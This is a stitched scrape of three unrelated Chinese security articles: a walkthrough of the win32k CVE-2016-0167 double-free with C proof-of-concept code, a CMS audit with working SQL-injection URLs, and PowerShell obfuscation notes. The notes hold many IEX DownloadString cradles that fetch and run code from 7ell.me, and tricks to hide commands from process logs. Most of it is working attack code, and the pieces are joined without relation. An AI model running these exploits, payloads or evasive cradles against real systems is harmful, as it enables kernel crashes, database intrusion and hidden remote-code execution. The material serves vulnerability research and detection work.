hMenuList[1] = CreateMenu();
AppendMenuA(hMenuList[0], MF_MOUSESELECT | MF_POPUP, (UINT_PTR)hMenuList[1], "item");
AppendMenuA(hMenuList[1], MF_MOUSESELECT | MF_POPUP, (UINT_PTR)0, "item");
菜单的显示需要有用于承载的窗口作为菜单的拥有者窗口对象。注册并创建普通窗口类和窗口对象并将句柄存储在 `hWindowMain` 全局变量中：
WNDCLASSEXW wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = xxMainWindowProc; // custom message procedure
wndClass.cbWndExtra = 0;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"WNDCLASSMAIN",
NULL,
WS_VISIBLE,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
将验证代码自定义的消息处理函数 `xxMainWindowProc`
的地址赋值给创建的拥有者窗口对象的消息处理函数成员域。该拥有者窗口对象同时将作为与弹出菜单关联的通知窗口对象。
设置类型为 `WH_CALLWNDPROC` 的自定义挂钩处理程序，并设置范围包括 `EVENT_SYSTEM_MENUPOPUPSTART`
的自定义事件通知处理程序。
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
接下来通过调用 `TrackPopupMenuEx` 函数触发作为根菜单的第一个菜单对象在屏幕中的显示；然后使用 `GetMessage`
使当前线程进入消息循环状态。
TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
当用户进程调用函数 `TrackPopupMenuEx` 时，系统在内核中最终调用到 `xxxTrackPopupMenuEx`
函数处理弹出菜单操作。在显示任务执行完成时，函数调用 `xxxWindowEvent` 以分发 `EVENT_SYSTEM_MENUPOPUPSTART`
类型的事件通知，这表示目标菜单对象已显示在屏幕中。
在该事件通知分发后，执行流会进入验证代码自定义的事件通知处理程序 `xxWindowEventProc`
中。在处理程序中进行计数，并存储每次进入时的窗口句柄 `hwnd` 参数。接着通过调用函数 `SendMessage` 和 `PostMessage`
向句柄参数 `hwnd` 指向的菜单窗口对象发送消息来模拟通过键鼠选择菜单项的操作。
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
static UINT iCount = 0;
if (iCount < ARRAYSIZE(hwndMenuList))
{
hwndMenuList[iCount] = hwnd;
iCount++;
}
SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}
向模态菜单窗口对象异步地发送 `MN_OPENHIERARCHY` 将使消息被插入线程的消息队列中，并在函数 `xxTrackPopupMenuEx`
稍后调用的函数 `xxxMNLoop` 消息循环中处理打开菜单的消息请求。
# ChildEBP RetAddr
00 99723a78 947dee9d win32k!xxxMNOpenHierarchy
01 99723ac4 9474ae67 win32k!xxxMenuWindowProc+0xb1f
02 99723af4 947d8c36 win32k!xxxDispatchMessage+0x1f7
03 99723b38 947df8f1 win32k!xxxMNLoop+0x2dd
04 99723ba0 947df9dc win32k!xxxTrackPopupMenuEx+0x5cd
05 99723c14 83e591ea win32k!NtUserTrackPopupMenuEx+0xc3
当在内核中处理 `MN_OPENHIERARCHY` 消息时，系统根据子菜单对象创建新的菜单窗口对象。在此期间，系统将向新创建的子菜单窗口对象发送
`WM_NCCREATE` 等消息。在发送这些消息时，执行流会进入由用户进程中的验证代码自定义的挂钩处理程序 `xxWindowHookProc` 中。
在自定义挂钩处理程序 `xxWindowHookProc` 函数中，参数 `lParam` 指向 `tagCWPSTRUCT`
类型的对象。根据内核函数代码逻辑，对于每个菜单窗口对象而言，处理 `WM_NCCREATE` 的挂钩处理函数往往比处理
`EVENT_SYSTEM_MENUPOPUPSTART` 的事件通知处理函数更先调用。验证代码判断 `tagCWPSTRUCT` 对象的成员域
`message` 的值，当 `message` 值为 `WM_NCCREATE`
枚举值、并且到目前为止前面的事件通知处理程序只记录了根菜单窗口对象的句柄而尚未记录子菜单窗口对象句柄时，这表示当前处理消息的目标窗口对象正是新创建的子菜单窗口对象。此时记录该窗口句柄，并通过调用
`SendMessage` 函数向根菜单窗口对象发送 `MN_CANCELMENUS` 取消菜单的消息。在函数 `SendMessage`
返回后，挂钩处理函数再调用 `PostMessage` 向拥有者窗口对象 `hWindowMain` 发送自定义的 `WM_EX_TRIGGER`
触发消息。
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
static BOOL bEnterUninit = FALSE;
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
if (cwp->message == WM_UNINITMENUPOPUP &&
bEnterUninit == FALSE &&
hMenuList[1] == (HMENU)cwp->wParam)
{
bEnterUninit = TRUE;
DestroyWindow(hwndMenuDest);
}
else if (cwp->message == WM_NCCREATE &&
hwndMenuDest == NULL &&
hwndMenuList[0] && !hwndMenuList[1])
{
hwndMenuDest = cwp->hwnd;
SendMessageW(hwndMenuList[0], MN_CANCELMENUS, 0, 0);
PostMessageW(hWindowMain, WM_EX_TRIGGER, 0, 1);
}
return CallNextHookEx(0, code, wParam, lParam);
}
同时，挂钩处理函数还处理 `message` 值为 `WM_UNINITMENUPOPUP` 并且参数 `wParam` 值为子菜单实体 `tagMENU`
对象句柄值的情况。当命中条件时，表示当前在内核中执行流正在函数 `xxxMNDestroyHandler` 中针对子菜单向通知窗口对象发送
`WM_UNINITMENUPOPUP` 消息期间。毫无疑问地，验证代码在此时调用 `DestroyWindow` 函数销毁前面记录了句柄的窗口对象。
当调用函数 `SendMessage` 同步地向根菜单窗口对象发送 `MN_CANCELMENUS` 消息时，系统最终在内核模式消息处理函数
`xxxMenuWindowProc` 中调用 `xxxMNCancel` 函数来处理取消菜单的消息请求。在该函数执行期间根弹出菜单对象的成员标志位
`fDestroyed` 会被置位。
# ChildEBP RetAddr
00 94d83b00 94a5ef10 win32k!xxxMNCancel
01 94d83b54 949d94f3 win32k!xxxMenuWindowProc+0xb92
02 94d83b94 94999709 win32k!xxxSendMessageTimeout+0x1ac
03 94d83bbc 949a6330 win32k!xxxWrapSendMessage+0x1c
04 94d83bd8 949db4cd win32k!NtUserfnNCDESTROY+0x27
05 94d83c10 83e521ea win32k!NtUserMessageCall+0xc9
06 94d83c10 76f270b4 nt!KiFastCallEntry+0x12a
07 3473fc8c 762b4f51 ntdll!KiFastSystemCallRet
08 3473fc90 762b0940 USER32!NtUserMessageCall+0xc
09 3473fccc 762b5582 USER32!SendMessageWorker+0x546
0a 3473fcec 0027c43a USER32!SendMessageW+0x7c
0b 3473fd54 762a7a1a TempDemo!xxWindowHookProc+0x19a
0c 3473fd70 762a4999 USER32!DispatchHookW+0x33
0d 3473fda4 762ae98a USER32!fnHkINLPCWPSTRUCTW+0x52
0e 3473fdd4 76f26fee USER32!__fnINLPCREATESTRUCT+0x8b
0f 3473fe48 762d483e ntdll!KiUserCallbackDispatcher+0x2e
10 3473fe4c 0027c0fe USER32!NtUserTrackPopupMenuEx+0xc
11 3473fed4 76d13c45 TempDemo!xxTrackExploitEx+0x14e
由于在验证代码中调用发送 `MN_CANCELMENUS` 消息的 `SendMessageW` 函数时，在内核中执行流正处于针对子菜单窗口对象
`WM_NCCREATE` 消息的处理分发挂钩处理程序期间，分发调用发生在 `WM_NCCREATE` 消息处理之前，因此子菜单窗口对象所关联的弹出菜单
`tagPOPUPMENU` 对象尚未被创建，并且此时新创建的子菜单窗口对象尚未被关联到根菜单的弹出菜单对象中，也就是说根弹出菜单对象的成员域
`spwndNextPopup` 并未存储子菜单窗口对象的地址。因此在函数 `xxxMNCancel` 接下来的执行逻辑调用函数
`xxxMNCloseHierarchy` 时，并不会有任何与子菜单相关的对象被销毁，子弹出菜单对象的成员标志位 `fDestroyed`
也因此不会被置位。
接下来函数 `xxxMNCancel` 还调用 `xxxDestroyWindow` 函数来触发销毁根菜单窗口对象的任务。在该函数执行期间，函数将调用
`xxxDestroyWindow` 来尝试销毁根菜单窗口对象，并最终在函数 `xxxMenuWindowProc` 中调用
`xxxMNDestroyHandler` 函数处理弹出菜单销毁的任务。由于根弹出菜单对象的成员标志位 `fDelayedFree`
早以被置位，因此函数并不会立即调用 `MNFreePopup` 函数来释放目标弹出菜单对象，而是留给后续的 `xxxMNEndMenuState`
函数调用来执行。
当发送 `MN_CANCELMENUS` 消息的 `SendMessage` 函数调用返回时，自定义的挂钩处理函数调用 `PostMessage`
向拥有者窗口对象发送自定义的 `WM_EX_TRIGGER`
触发消息。异步发送的消息并不会立即执行对消息请求的处理，而是在窗口对象关联线程的消息循环中执行。
接下来在内核中当执行流从创建子菜单窗口对象的函数 `xxxCreateWIndowEx` 返回到 `xxxMNOpenHierarchy`
函数中时，函数将照常执行子菜单和根菜单相关对象的关联操作。待执行完成函数返回时，执行流将回到消息循环函数 `xxxMNLoop`
中。函数将判断根弹出菜单对象的成员标志位 `fDestroyed` 是否已被置位。如果已置位，则跳出消息循环状态，并在调用 `xxxEndMenuLoop`
等终止循环的函数之后向上级调用者函数 `xxxTrackPopupMenuEx` 返回。
函数 `xxxTrackPopupMenuEx` 将立即调用 `xxxMNEndMenuState` 来执行菜单状态终止的任务。在该函数执行期间，函数
`MNFreePopup` 将调用 `MNFlushDestroyedPopups` 函数来释放延迟释放链表中的每个弹出菜单对象，而成员标志位
`fDestroyed` 未置位的对象例外。由于在函数 `xxxMNCancel`
执行菜单取消的任务期间，子菜单相关对象尚未和根菜单完成关联，因此其弹出菜单对象成员标志位 `fDestroyed`
并未被置位。这将导致在此时子弹出相关的任何对象将不会被释放，并且其弹出菜单对象的成员标志位 `fDelayedFree` 将被函数
`MNFlushDestroyedPopups` 置零，这是非常关键的一步。
当位于用户进程上下文的 `TrackPopupMenuEx`
函数调用返回到验证代码时，满足漏洞触发条件的目标弹出菜单对象已经实现。接下来执行流将进入由验证代码设定的消息循环中。此时将分发前面在自定义挂钩处理程序
`xxWindowHookProc` 函数中向拥有者窗口对象发送的 `WM_EX_TRIGGER` 自定义触发消息。在拥有者窗口对象的自定义消息处理函数
`xxMainWindowProc` 中接收并处理该消息：
LRESULT WINAPI
xxMainWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == WM_EX_TRIGGER)
{
DestroyWindow(hwndMenuDest);
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
在自定义消息处理函数 `xxMainWindowProc` 中，判断当前处理的消息是否为 `WM_EX_TRIGGER` 自定义触发消息；如是则直接调用函数
`DestroyWindow` 以触发销毁前面记录句柄的子菜单窗口对象的操作。这将使执行流在内核中进入销毁目标弹出菜单对象的
`xxxMNDestroyHandler` 函数调用中。
在函数 `xxxMNDestroyHandler` 中，系统向目标弹出菜单对象关联的通知窗口对象发送 `WM_UNINITMENUPOPUP`
并将关联的菜单窗口对象句柄作为 `wParam` 参数传入。这将命中在自定义挂钩处理程序 `xxWindowHookProc` 中命中前面设定的
`WM_UNINITMENUPOPUP` 的判断条件。
由于在函数 `xxWindowHookProc` 处理 `WM_UNINITMENUPOPUP` 消息的代码逻辑中验证代码直接调用函数
`DestroyWindow` 销毁前面记句柄的子菜单窗口对象，这将使执行流针对相同的子弹出菜单对象重复进入函数 `xxxMNDestroyHandler`
的调用。在第二次函数 `xxxMNDestroyHandler` 执行期间，虽然仍旧会像第一次执行时那样发送 `WM_UNINITMENUPOPUP`
消息，但由于在验证代码中已设置相关全局变量阻止多次处理，因此并不会在函数 `xxWindowHookProc` 中更多次调用 `DestroyWindow`
函数。
接着第二次调用的 `xxxMNDestroyHandler` 函数根据未被置位的成员标志位 `fDelayedFree` 对目标弹出菜单对象调用
`MNFreePopup` 函数以执行销毁操作。在该函数中与目标弹出菜单对象关联的各种内核对象将被销毁，弹出菜单对象的内存将被释放。
当执行流回到第一次调用的 `xxxMNDestroyHandler` 函数中时，函数将执行相同的释放操作。这将导致对已释放的内存块进行重复释放，导致系统
BSOD 的发生。
# ChildEBP RetAddr
00 96589654 83f25083 nt!RtlpBreakWithStatusInstruction
01 965896a4 83f25b81 nt!KiBugCheckDebugBreak+0x1c
02 96589a68 83f67c6b nt!KeBugCheck2+0x68b
03 96589ae4 94e15e08 nt!ExFreePoolWithTag+0x1b1
04 96589af8 94e15f85 win32k!MNFreePopup+0x95
05 96589b14 94e0e894 win32k!xxxMNDestroyHandler+0x117
06 96589b5c 94e15fc9 win32k!xxxMenuWindowProc+0x515
07 96589b74 94d5d9cd win32k!xxxWrapMenuWindowProc+0x2b
08 96589bc8 94d56142 win32k!xxxFreeWindow+0x184
09 96589c18 94d5e62c win32k!xxxDestroyWindow+0x523
0a 96589c28 83e841ea win32k!NtUserDestroyWindow+0x21
0b 96589c28 773970b4 nt!KiFastCallEntry+0x12a
0c 0088fb9c 75abb300 ntdll!KiFastSystemCallRet
0d 0088fba0 0109bf0f USER32!NtUserDestroyWindow+0xc
0e 0088fbf8 75acc4e7 TempDemo!xxMainWindowProc+0x8f
## 0x4 利用
和 CVE-2017-0263 漏洞相比，虽然漏洞触发的条件不在同一函数中，并且原理不尽相同，但由于两者同样都是弹出菜单对象销毁期间在函数
`MNFreePopup` 中最终触发释放后重用漏洞，因此两者利用方式完全相同，在这里将不再赘述，有兴趣的读者可以阅读之前的文章：《[从
CVE-2017-0263 漏洞分析到菜单管理组件](https://www.anquanke.com/post/id/102378)》。
### 后记
该漏洞的利用过程通过使用特定的异步和同步的消息请求相互配合，使内核中生成未置位成员标志位 `fDelayedFree`
的特殊弹出菜单对象，满足漏洞触发条件；通过对目标弹出菜单对象关联的菜单窗口对象触发销毁操作，使内核中的执行流进入漏洞所在函数中，重入漏洞所在函数。利用漏洞细节，使漏洞所在函数的两次调用都进入对目标弹出菜单的销毁处理过程中，得以触发释放后重用和重复释放漏洞。
到当前这篇文章为止，已连续分析了多个弹出菜单 `tagPOPUPMENU`
对象的释放后重用（UAF）漏洞，因此文章中一些内容存在与前几篇文章内容重复的地方，但漏洞触发原理和细节、漏洞触发的条件不尽相同。
## 0x5 链接
[0] 本分析的 POC 下载
<https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2016-0167/x86.cpp>
[1] Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data
Attacks
<https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html>
[2] 从 CVE-2017-0263 漏洞分析到菜单管理组件
<https://www.anquanke.com/post/id/102377>
[3] 对 UAF 漏洞 CVE-2015-2546 的分析和利用
<https://xiaodaozhi.com/exploit/122.html>
[4] Kernel Attacks through User-Mode Callbacks
<http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf> | 社区文章 |
为了大致了解此cms，首先来看看这个cms为了防止sql注入，都做了哪些防护
## 一、程序入口处定义了过滤方法
首先，程序通过set_globals方法，将get与post传入的参数，赋值到$GLOBALS数组中：
在赋值过程中，使用gpc_stripslashes来处理传入的键值
gpc_stripslashes方法的作用是，当MAGIC_QUOTES_GPC开启时，去除MAGIC_QUOTES_GPC所添加的转义符
这里的操作很奇特，在一般的cms中，在进行这样为伪全局变量赋值时，往往会判断MAGIC_QUOTES_GPC是否开启，当MAGIC_QUOTES_GPC为off时，程序会履行MAGIC_QUOTES_GPC的功能，为伪全局变量进行转义过滤。
如下图，另一款cms中的操作：
但是在本文中分析的cms中，正好反向操作，如果MAGIC_QUOTES_GPC开启，则去除其转义效果，这个cms为什么要这样做呢？接着往下看。
可见该cms存在input方法，该方法对$GLOBALS数组中的值通过sql_replace方法进行sql过滤
分析一下sql_replace方法
可见是使用str_replace方法，对传入参数中的特殊字符进行置空处理，防止sql注入攻击
此外，还存在一处safe_htm方法
对输入中的html特殊字符进行转义，方式xss攻击
开发者的意图，在这里猜测一下，应该是：
将GET\POST的传入键值对，原封不动的传递给$GLOBALS数组，若数据需要入库，使用sql_replace方法对数据进行过滤；若数据需要前端页面展示，使用safe_htm方法进行转义
通过我对开发者意图的猜测可知，之所以在将GET\POST的传入键值对传递给$GLOBALS期间使用stripslashes去掉MAGIC_QUOTES_GPC可能添加的反斜杠，是为了防止后续sql_replace等操作时出问题
例如在MAGIC_QUOTES_GPC开启时，GET中传入 grq=tes’t
此时系统会自动在单引号前加反斜线进行转义，$_GET[‘grq’]=”tes\’t”
若不使用stripslashes处理，直接赋值给$GLOBALS，则$GLOBALS[‘grq’]= ”tes\’t”
若使用sql_replace方法对$GLOBALS进行sql注入过滤，则会变成$GLOBALS[‘grq’]=
”tes\t”，多出一个反斜线，显然，这造成了极大的隐患。
那使用sql_replace方法对数据进行过滤是否安全呢？显然，单纯的将特殊字符置空，仍然有安全隐患
如果传入的值为%2%277，在经过str_replace置空后，变为%27，当程序中存在sql语句拼接执行前先解码(urldecode)的操作时，则会将%27解码为单引号，从而造成sql注入。但是这个cms中，并未存在类似
urldecode(sql_replace（$grq）);这样的操作，因此先不考虑sql_replace方法的绕过。
## 二、数据库操作类内部定义过滤方法
以该cms中封装的insert方法和update方法举例
insert方法
Update方法
可见，在该cms在使用封装的数据库操作类时，这些类内部的方法，也会对传入的数据新型过滤处理
以上两类便是该cms框架层面上对sql注入的防护，下面看看在这些防护下，是否还存在sql注入隐患
## 第一类安全隐患
第一类安全隐患，是由于开发者在框架中定义了安全的接收用户输入的方法(input方法)，在开发过程中却忘记使用或记错这个方法的功能所导致的。
回归漏洞正文，经过我们的分析，这个cms的防护虽然繁琐，且存在绕过的风险，但只要正确使用input方法对入库前的数据进行处理，且处理后不要进行urldecode操作，那就能大概率规避sql注入问题，但是在漏洞挖掘的过程中，发现的问题却令人张目结舌
漏洞文件： \api\sms_check.php 中：
位于上图13行，可见$code变量的值由$GLOBALS[‘param’]中的值经过strip_tags方法处理后得来
接着，位于16行处，code变量被拼接到sql语句的where部分，进行执行
由上文分析下$GLOBALS[‘param’]是从GET\POST中原封不动的传来
这样一来，GLOBALS的值我们可以通过GET/POST传递。$GLOBALS['param']的值可控，进而控制$code值,随后，$code变量被拼接到sql语句中执行
难道不应该使用input方法获取GET/POST传入的参数吗？使用类似如下的代码
$code = strip_tags(input('param'));
而不是程序中使用的
$code = strip_tags($GLOBALS['param']);
显然，开发者在这里忘了之前定义的用来接收用户输入并安全过滤的”input”方法,很明显这是开发时候的失误导致的。
那是不是由于开发者的疏忽，程序中只有很少几处存在这样的问题呢？
我们全局搜索一下input方法
在系统中，仅仅有四处使用了input来接收并过滤用户的输入
跟入其中一处，如下图
可见username通过input方法，从GET/POST请求中读取username值
input方法会调用sql_replace方法进行sql注入过滤，如下图
但是，位于上图第二个红框处，又使用了一次sql_replace对输入进行过滤。在这里我猜测，可能开发者忘记了input的功能了
构造如下payload：
http://127.0.0.1/www/api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1)--%20
Sql注入成功
同理，这种类型的漏洞在此cms中大量出现
## 第二类安全隐患
第二类安全隐患，是由于封装的数据库操作类内部的方法，只对传入数组的键值进行过滤，而忽略了键名仍有传入payload的风险
漏洞文件： \coreframe\app\content\admin\category.php 中的add方法：
由于$formdata = $GLOBALS['form']，因此$formdata可由GET/POST传入，可控。上图87行处，
$formdata被传入db->insert方法进行sql语句执行
跟进db->insert方法：
上图位于109行至116行，此处代码段对传入$data的值（$values）部分通过escape_string进行过滤，但是并未对$data数组的键（$field）部分进行过滤,因此可以将payload传入key部分，绕过escape_string过滤，造成sql注入
回到注入点，如下图
问题出在上图73行处，直接将GET\POST传入的值赋值给$formdata,导致可以从请求中传入数组，进而控制$formdata数组的键名
Payload为
&form[seo_description`)values(updatexml(1,concat(0x7e,version(),0x7e),1))%23]=666
最终注入结果如下图：
注入成功
同理，这种类型的漏洞在此cms中大量出现
## 结束语
从本次代码审计的结果来看，程序虽然在框架入口以及封装的数据库操作类中进行了过滤，但由于对过滤方法的错误使用以及过滤点不全面，导致了大量的注入产生。 | 社区文章 |
# 【技术分享】根据powershell语言的特性来混淆代码的方法与原理
|
##### 译文声明
本文是翻译文章，文章来源：blackhat.com
原文地址：<https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
[](http://p2.qhimg.com/t01136e71dcb6ed8569.png)
译者：[七三](http://bobao.360.cn/member/contribute?uid=1252619100)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**简介**
大多数攻击者目前已经将PowerShell
利用在了各种攻击场景中，如内网渗透，APT攻击甚至包括现在流行的勒索软件中。powershell的功能强大且调用方式十分灵活。在今年的2017
blackhat大会上，有一个关于powershell的议题（地址：us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science），主要就是讲了powershell的混淆与检测。在看完作者的PPT后，真觉得干货颇多，想来做做笔记记录一下。
这篇笔记就来详细介绍一下根据powershell语言的特性来混淆代码的方法与原理。
**1\. cmd启动powershell**
首先看看powershel使用cmd.exe启动执行代码的方式：
**1.1 常规方法**
cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|%p1%%p2% -"
**1.2 管道输入流**
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
**1.3 利用环境变量**
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX $env:cmd"
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell - cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process'))
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ((Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value)
在父进程中隐藏运行的代码：上面第二种方式运行时，如果使用进程查看，可以在父进程启动参数中cmd.exe /c "set cmd=Write-Host ENV
-Fore Green&&cmd /c echo %cmd%|powershell -,看到你执行的代码，因为此时powershell
-的父进程时第一个cmd.exe，所以可以使用cmd中的转义符号^将|转义后，如
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%^|powershell
-,第二个cmd后面对命令行来说是一个整体，然后执行cmd /c echo %cmd%|powershell -,此时powershell
-的父进程就是第二个cmd了，看不到我们执行的代码了。
**1.4 从其他进程获取参数**
首先启动多个cmd进程，这些进程参数中包含要执行的代码
cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"
然后在powershell中提取出来IEX (IWR https://7ell.me/power)执行，如：
cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter ^"Name = 'cmd.exe' AND CommandLine like '%WINDOWS_DEFENDER_UPDATE%'^").CommandLine.Split([char]38)[2].SubString(5)"
**1.5 从粘贴板**
cmd.exe /c "echo Write-Host CLIP -Fore Green | clip&& powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"
这些方法可以在powershell日志中看到，所以开启powershell的日志分析很重要。
但是，如果时混淆的，日志中也仅仅是记录了混淆后的东西。
**2\. 混淆**
Hacker在攻击时经常会远程下载代码脚本执行，这里基于这样的一条标准的下载文件命令来进行变形混淆。
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://7ell.me/power")。
在混淆之前，先看看powershell获取环境变量的方式。
Get-Variable/GV/Variable cmd -ValueOnly
-ValueOnly可以简写为-ValueOnly,-ValueOnl,-ValueOn,-ValueO……,-Va,-V
(Get-Item/GI/Item Variable:cmd).Value
(Get-ChildItem/GCI/ChildItem/DIR/LS Variable:cmd).Value
后面很多构造会用到这些方式的。
**2.0 简单处理**
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://7ell.me/power")
可以去掉System
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://7ell.me/power")
将http分开+号连接
Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://7ell.me/power")
变量代替
IEX $wc=New-Object Net.WebClient;$wc.DownloadString('h'+'ttp://7ell.me/power')
把downloadstring使用单双引号引起来
Invoke-Expression (New-Object Net.WebClient)."DownloadString"('h'+'ttp://7ell.me/power')
使用invoke方法
Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke('h'+'ttp://7ell.me/power')
$ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('h'+'ttp://7ell.me/power')
以上单双引号可以切换
**2.1 转义符(反引号)**
查看帮助Get-Help about_Escape_Characters
以下为 Windows PowerShell 能够识别的特殊字符：
0 Null
`a 警报
`b 退格
`f 换页
`n 换行
`r 回车
`t 水平制表
`v 垂直制表
转义符号加在其他字符前不影响字符的意思，避免在0,a,b,f,n,r,t,v的小写字母前出现即可。
Invoke-Expression (New-Object Net.WebClient)."Down`loadString"('h'+'ttp://7ell.me/power')
Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"('h'+'ttp://7ell.me/power')
Invoke-Expression (New-Object Net.WebClient)."D`o`w`N`l`o`A`d`S`T`R`in`g"('h'+'ttp://7ell.me/power')
同样可以使用在Net.Webclient上
Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"('h'+'ttp://7ell.me/power')
括号代替空格，或者多个定义变量来连接替换
Invoke-Expression (New-Object("`Ne`T.`Web`Cli`ent"))."Down`l`oadString"('h'+'ttp://7ell.me/power')
$v1="Net.";$v2="WebClient";Invoke-Expression (New-Object $v1$v2)."Down`l`oadString"('h'+'ttp://7ell.me/power')
**2.2 简写与通配符***
e.g Get-Comamd New-Ob*
以下几种处理都可以代替 Get-Command New-Object ; Get-Comamnd 可简写为 GCM
&(Get-Command New-Obje*) &(Get-Command *w-O*) &(GCM *w-O*) &(COMMAND *w-*ct)
.(Get-Command New-Obje*) .(Get-Command *w-O*) .(GCM *w-O*) .(COMMAND *w-*ct)
$var1="New";$var2="-Object";$var3=$var1+$var2;&(GCM $var3)
结合其他方法混淆
Invoke-Expression (&(Get-Command New-Obje*)"Net.WebClient")."DownloadString"('h'+'ttp://7ell.me/power')
$var1="New";$var2="-Object";$var3=$var1+$var2;Invoke-Expression (&(GCM $var3)"Net.WebClient")."DownloadString"('h'+'ttp://7ell.me/power')
ie`x (.(GCM *w-O*)"Net.WebClient")."DownloadString"('h'+'ttp://7ell.me/power')
**2.3 脚本块**
使用脚本块
invoke-command{xxxx} ICM{xxxx} {xxxx}.invoke() &{xxxx} .{xxxx}
$ExecutionContext.InvokeCommand.NewScriptBlock("xxxxx")
${ExecuTioNCoNTexT}."INVokeCommANd"."NewScRipTBlock"("expression")
$ExecutionContext."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression")
${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression")
$a = ${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}; $b = $a."`I`N`V`o`k`e`C`o`m`m`A`N`d";$b."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("ex"+"pres"+"sion")
Scriptblock类方法,[Scriptblock]相当于[Type]("Scriptblock")
[Scriptblock]::Create("expression")
([Type]"Scriptblock")::create('expression')
[Scriptblock]::("Create").Invoke("expression")
([Type]("Scriptblock"))::("Create").Invoke("expression")
[Scriptblock]::("`C`R`e"+"`A`T`e").Invoke("expression")
([Type]("Scr"+"ipt"+"block"))::("`C`R`e"+"`A`T`e").Invoke("ex"+"pres"+"sion")
可以构造出下面的式子混淆
.(${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d")."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((& (`G`C`M *w-O*)"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('h'+'ttp://7ell.me/power'))
**2.4 字符串处理**
反转
$reverseCmd= ")'rewop/em.lle7//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
1. IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX
2. $reverseCmdCharArray= $reverseCmd.ToCharArray(); [Array]::Reverse($reverseCmdCharArray); IEX ($reverseCmdCharArray-Join '') | IEX
3. IEX (-Join[RegEx]::Matches($reverseCmd,'.','RightToLeft')) | IEX
分割截断 or 替换字符
$cmdWithDelim= "(New-Object Net.We~~bClient).Downlo~~adString('http://7ell.me/power')";
1. IEX ($cmdWithDelim.Split("~~") -Join '') | IEX
2. IEX $cmdWithDelim.Replace("~~","") | IEX
3. IEX ($cmdWithDelim-Replace "~~","") | IEX
格式填充，-f 格式化。
